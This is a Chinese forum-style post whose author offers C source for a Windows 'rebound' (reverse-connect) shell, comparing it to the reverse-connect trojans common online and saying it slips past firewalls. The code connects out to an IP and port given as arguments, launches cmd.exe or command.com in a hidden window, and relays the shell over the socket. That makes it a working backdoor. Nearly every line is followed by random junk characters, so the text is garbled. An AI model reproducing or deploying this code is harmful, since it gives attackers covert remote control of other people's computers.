这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Q ]]}8l2
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/* ============================== GjN/8>/
Rebound port in Windows NT R_ymTB}<t(
By wind,2006/7 ^
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===============================*/ 7ZarXv
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#include 4scY8(1
#include H^z6.!$m
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#pragma comment(lib,"wsock32.lib") Zz}Wg@&
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void OutputShell(); Oya:{d&=
SOCKET sClient; 9Jd{HI=
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; BOClMeA4
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void main(int argc,char **argv) \H|tc#::{
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WSADATA stWsaData; 11t+
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int nRet; C1&~Y.6m
SOCKADDR_IN stSaiClient,stSaiServer; DuX7
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if(argc != 3) {:BAh5e|
{ Y'7f"W
printf("Useage:\n\rRebound DestIP DestPort\n"); lVF}G[B
return; "#1KO1@G
} V'?bZcRr~
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WSAStartup(MAKEWORD(2,2),&stWsaData); ]S;^QZ
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &XAG|
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stSaiClient.sin_family = AF_INET; 29 {Ep
stSaiClient.sin_port = htons(0); "P.H
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Z Ear~
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ~Sy/q]4ys*
{ 5-'jYp/
printf("Bind Socket Failed!\n"); P`r@<cgb=
return; `/?XvF\
} +g/TDwyVH
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stSaiServer.sin_family = AF_INET; *+|D8xp
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); cV^r_E\m
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 6[ }~m\cY
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) v"wxHro
{ tgmG#b*
printf("Connect Error!"); n7-|\p!xP6
return; z
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} jZwv!-:
OutputShell(); /g$cQ=c
} OBrbWXp@
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void OutputShell() %]NaHf
{ 6{Y3-Pxg
char szBuff[1024]; tuH8!.
SECURITY_ATTRIBUTES stSecurityAttributes; Itq248+Ci
OSVERSIONINFO stOsversionInfo; 7>
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; <[iw1>
STARTUPINFO stStartupInfo; *Iy5 V7`KU
char *szShell; ,liFo.kT8%
PROCESS_INFORMATION stProcessInformation; w_zUA'n+
unsigned long lBytesRead; ZqT8G
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); J)(KG dk
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); fKEZlrw
stSecurityAttributes.lpSecurityDescriptor = 0; /$a>f>EJ
stSecurityAttributes.bInheritHandle = TRUE; 9vIqGz-o
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); NQBa+N
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ((KNOa5
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); cyYsz'i m
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X S:W{tL!
stStartupInfo.wShowWindow = SW_HIDE; Tx+!D'>
stStartupInfo.hStdInput = hReadPipe; "rxhS;
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 7oUecyoj
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GetVersionEx(&stOsversionInfo); %LI[+#QE
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switch(stOsversionInfo.dwPlatformId) 3B *b d
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case 1: /~sNx
szShell = "command.com"; !~sgFR8W
break; &lbZTY}
default: ^eF%4DUC;
szShell = "cmd.exe"; VN3"$@-POK
break; cD^`dn%$
} yg}zK>j^vC
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); _FpZc?=
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send(sClient,szMsg,77,0); R#"LP7\
while(1) <4lR
{ B=<>OYH
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 9, A(|g
if(lBytesRead) !4;A"B(
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); (L`7-6e(Ab
send(sClient,szBuff,lBytesRead,0); 18`YY\u(
} Myj5qh
else 5(9SIj^O
{ 8{0=tOXx{
lBytesRead=recv(sClient,szBuff,1024,0); r'|V z*/h
if(lBytesRead<=0) break; d6(R-k#B
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); kmNa),`{s
} ^Om0~)"q
} \xCI8 *W
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return; ]o!rK<
}